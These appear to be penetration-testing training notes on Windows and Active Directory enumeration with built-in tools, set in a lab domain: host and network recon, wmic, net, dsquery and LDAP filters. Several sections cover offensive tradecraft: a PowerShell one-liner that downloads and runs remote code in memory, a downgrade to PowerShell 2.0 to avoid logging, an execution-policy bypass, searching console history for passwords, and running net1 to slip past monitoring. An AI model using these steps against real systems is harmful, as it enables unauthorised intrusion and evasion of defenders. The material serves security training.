Living Off The Land

Env Commands For Host & Network Recon

Basic Enumeration Commands

Command Result
hostname Prints the PC's Name
[System.Environment]::OSVersion.Version Prints out the OS version and revision level
wmic qfe get Caption,Description,HotFixID,InstalledOn Prints the patches and hotfixes applied to the host
ipconfig /all Prints out network adapter state and configurations
set %USERDOMAIN% Displays the domain name to which the host belongs (ran from CMD-prompt)
set %logonserver% Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)
systeminfo All of the above in one command

Harnessing PowerShell

Cmd-Let Description
Get-Module Lists available modules loaded for use.
Get-ExecutionPolicy -List Will print the execution policy settings for each scope on a host.
Set-ExecutionPolicy Bypass -Scope Process This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
Get-ChildItem Env: | ft Key,Value Return environment values such as key paths, users, computer information, etc.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>" This is a quick and easy way to download a file from the web using PowerShell and call it from memory.

Many defenders are unaware that several versions of PowerShell often exist on a host. If not uninstalled, they can still be used. Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer. This is a great way for us to remain under the defenders' radar while still utilizing resources built into the hosts to our advantage.

PS C:\xyz> Get-host

Name             : ConsoleHost
Version          : 5.1.19041.1320
InstanceId       : 18ee9fb4-ac42-4dfe-85b2-61687291bbfc
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace

PS C:\xyz> powershell.exe -version 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\xyz> Get-host
Name             : ConsoleHost
Version          : 2.0
InstanceId       : 121b807c-6daa-4691-85ef-998ac137e469
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace

PS C:\xyz> get-module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     0.0        chocolateyProfile                   {TabExpansion, Update-SessionEnvironment, refreshenv}
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Content...}
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     0.7.3.1    posh-git                            {Add-PoshGitToProfile, Add-SshKey, Enable-GitColors, Expand-GitCommand...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PSReadLineKeyHandler...

We can now see that we are running an older version of PowerShell from the output above. Notice the difference in the version reported. It validates we have successfully downgraded the shell. Let's check and see if we are still writing logs. The primary place to look is in the PowerShell Operational Log found under Applications and Services Logs > Microsoft > Windows > PowerShell > Operational. All commands executed in our session will log to this file. The Windows PowerShell log located at Applications and Services Logs > Windows PowerShell is also a good place to check. An entry will be made here when we start an instance of PowerShell. In the image below, we can see the red entries made to the log from the current PowerShell session and the output of the last entry made at 2:12 pm when the downgrade is performed. It was the last entry since our session moved into a version of PowerShell no longer capable of logging. Notice that, that event corresponds with the last event in the Windows PowerShell log entries.

Examining the Powershell Event Log alt

With Script Block Logging enabled, we can see that whatever we type into the terminal gets sent to this log. If we downgrade to PowerShell V2, this will no longer function correctly. Be aware that the action of issuing the command powershell.exe -version 2 within the PowerShell session will be logged. So evidence will be left behind showing that the downgrade happened, and a suspicious or vigilant defender may start an investigation after seeing this happen and the logs no longer filling up for that instance. We can see an example of this in the image below. Items in the red box are the log entries before starting the new instance, and the info in green is the text showing a new PowerShell session was started in HostVersion 2.0.

Starting V2 Logs alt


Checking Defenses

Firewall Checks

PS C:\xyz> netsh advfirewall show allprofiles

Windows Defender Check (from CMD.exe)

C:\xyz> sc query windefend

Check the status and configuration settings with the Get-MpComputerStatus cmdlet in PowerShell.

PS C:\xyz> Get-MpComputerStatus

Am I Alone?

When landing on a host for the first time, one important thing is to check and see if you are the only one logged in.

PS C:\xyz> qwinsta

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
>console           forend                    1  Active
 rdp-tcp                                 65536  Listen

Network Information

Networking Commands Description
arp -a Lists all known hosts stored in the arp table.
ipconfig /all Prints out adapter settings for the host. We can figure out the network segment from here.
route print Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.
netsh advfirewall show state Displays the status of the host's firewall. We can determine if it is active and filtering traffic.

Using arp -a and route print will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment. These are commands we should consider using on each engagement to assist our clients in understanding where an attacker may attempt to go following initial compromise.


Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) is a scripting engine that is widely used within Windows enterprise environments to retrieve information and run administrative tasks on local and remote hosts.

Command Description
wmic qfe get Caption,Description,HotFixID,InstalledOn Prints the patch level and description of the Hotfixes applied
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List Displays basic host information to include any attributes within the list
wmic process list /format:list A listing of all processes on host
wmic ntdomain list /format:list Displays information about the Domain and Domain Controllers
wmic useraccount list /format:list Displays information about all local accounts and any domain accounts that have logged into the device
wmic group list /format:list Information about all local groups
wmic sysaccount list /format:list Dumps information about any system accounts that are being used as service accounts.

This cheatsheet has some useful commands for querying host and domain info using wmic.

PS C:\xyz> wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

Caption          Description      DnsForestName           DomainControllerAddress  DomainName
ACADEMY-EA-MS01  ACADEMY-EA-MS01
LEGALCORP    LEGALCORP    legalcorp.local     \\172.16.5.5             LEGALCORP
LOGISTICS        LOGISTICS        legalcorp.local     \\172.16.5.240           LOGISTICS
FREIGHTLOGISTIC  FREIGHTLOGISTIC  LEGALLOGISTICS.LOCAL  \\172.16.5.238           FREIGHTLOGISTIC

Net Commands

net.exe commands are typically monitored by EDR solutions and can quickly give up our location if our assessment has an evasive component. Some organizations will even configure their monitoring tools to throw alerts if certain commands are run by users in specific OUs, such as a Marketing Associate's account running commands such as whoami, and net localgroup administrators, etc. This could be an obvious red flag to anyone monitoring the network heavily.

Command Description
net accounts Information about password requirements
net accounts /domain Password and lockout policy
net group /domain Information about domain groups
net group "Domain Admins" /domain List users with domain admin privileges
net group "domain computers" /domain List of PCs connected to the domain
net group "Domain Controllers" /domain List PC accounts of domains controllers
net group <domain_group_name> /domain User that belongs to the group
net groups /domain List of domain groups
net localgroup All available groups
net localgroup administrators /domain List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
net localgroup Administrators Information about a group (admins)
net localgroup administrators [username] /add Add user to administrators
net share Check current shares
net user <ACCOUNT_NAME> /domain Get information about a user within the domain
net user /domain List all users of the domain
net user %username% Information about the current user
net use x: \computer\share Mount the share locally
net view Get a list of computers
net view /all /domain[:domainname] Shares on the domains
net view \computer /ALL List shares of a computer
net view /domain List of PCs of the domain

Listing Domain Groups

PS C:\xyz> net group /domain

Information about a Domain User

PS C:\xyz> net user /domain wrouse

If we believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing net1 instead of net will execute the same functions without the potential trigger from the net string.


Dsquery

Dsquery is a helpful command-line tool that can be utilized to find Active Directory objects. dsquery will exist on any host with the Active Directory Domain Services Role installed, and the dsquery DLL exists on all modern Windows systems by default now and can be found at C:\Windows\System32\dsquery.dll.

All we need is elevated privileges on a host or the ability to run an instance of Command Prompt or PowerShell from a SYSTEM context.

PS C:\xyz> dsquery user

"CN=Administrator,CN=Users,DC=LEGALCORP,DC=LOCAL"
"CN=Guest,CN=Users,DC=LEGALCORP,DC=LOCAL"
PS C:\xyz> dsquery computer

"CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=LEGALCORP,DC=LOCAL"
"CN=ACADEMY-EA-MS01,OU=Web Servers,OU=Servers,OU=Computers,OU=Corp,DC=LEGALCORP,DC=LOCAL"
"CN=ACADEMY-EA-MX01,OU=Mail,OU=Servers,OU=Computers,OU=Corp,DC=LEGALCORP,DC=LOCAL"
"CN=SQL01,OU=SQL Servers,OU=Servers,OU=Computers,OU=Corp,DC=LEGALCORP,DC=LOCAL"

We can use a dsquery wildcard search to view all objects in an OU, for example.

PS C:\xyz> dsquery * "CN=Users,DC=LEGALCORP,DC=LOCAL"

"CN=Users,DC=LEGALCORP,DC=LOCAL"
"CN=krbtgt,CN=Users,DC=LEGALCORP,DC=LOCAL"
"CN=Domain Computers,CN=Users,DC=LEGALCORP,DC=LOCAL"
<SNIP>

We can combine dsquery with LDAP search filters of our choosing. The below looks for users with the PASSWD_NOTREQD flag set in the userAccountControl attribute.

Users With Specific Attributes Set (PASSWD_NOTREQD)

PS C:\xyz> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

  distinguishedName                                                                              userAccountControl
  CN=Guest,CN=Users,DC=LEGALCORP,DC=LOCAL                                                    66082
  CN=Marion Lowe,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=LEGALCORP,DC=LOCAL      66080

The below search filter looks for all Domain Controllers in the current domain, limiting to five results.

PS C:\Users\forend.LEGALCORP> dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

 sAMAccountName
 ACADEMY-EA-DC01$

LDAP Filtering Explained

Strings such as userAccountControl:1.2.840.113556.1.4.803:=8192 are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others.

userAccountControl:1.2.840.113556.1.4.803: Specifies that we are looking at the User Account Control (UAC) attributes for an object. This portion can change to include three different values when searching for information in AD (also known as Object Identifiers (OIDs).
=8192 represents the decimal bitmask we want to match in this search. This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like password is not required or account is locked is set. These values can compound and make multiple different bit entries.

alt

OID match strings

OIDs are rules used to match bit values with attributes, as seen above. For LDAP and AD, there are three main matching rules:

  1. 1.2.840.113556.1.4.803

When using this rule as we did in the example above, we are saying the bit value must match completely to meet the search requirements. Great for matching a singular attribute.

  1. 1.2.840.113556.1.4.804

When using this rule, we are saying that we want our results to show any attribute match if any bit in the chain matches. This works in the case of an object having multiple attributes set.

  1. 1.2.840.113556.1.4.1941

This rule is used to match filters that apply to the Distinguished Name of an object and will search through all ownership and membership entries.

Logical Operators

When building out search strings, we can utilize logical operators to combine values for the search. The operators & | and ! are used for this purpose. For example we can combine multiple search criteria with the & (and) operator like so:
(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))

The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (Password Can't Change). A user with that attribute set would match the filter. You can take this even further and combine multiple attributes like (&(1) (2) (3)). The ! (not) and | (or) operators can work similarly. For example, our filter above can be modified as follows:
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))

This would search for any user object that does NOT have the Password Can't Change attribute set. When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive.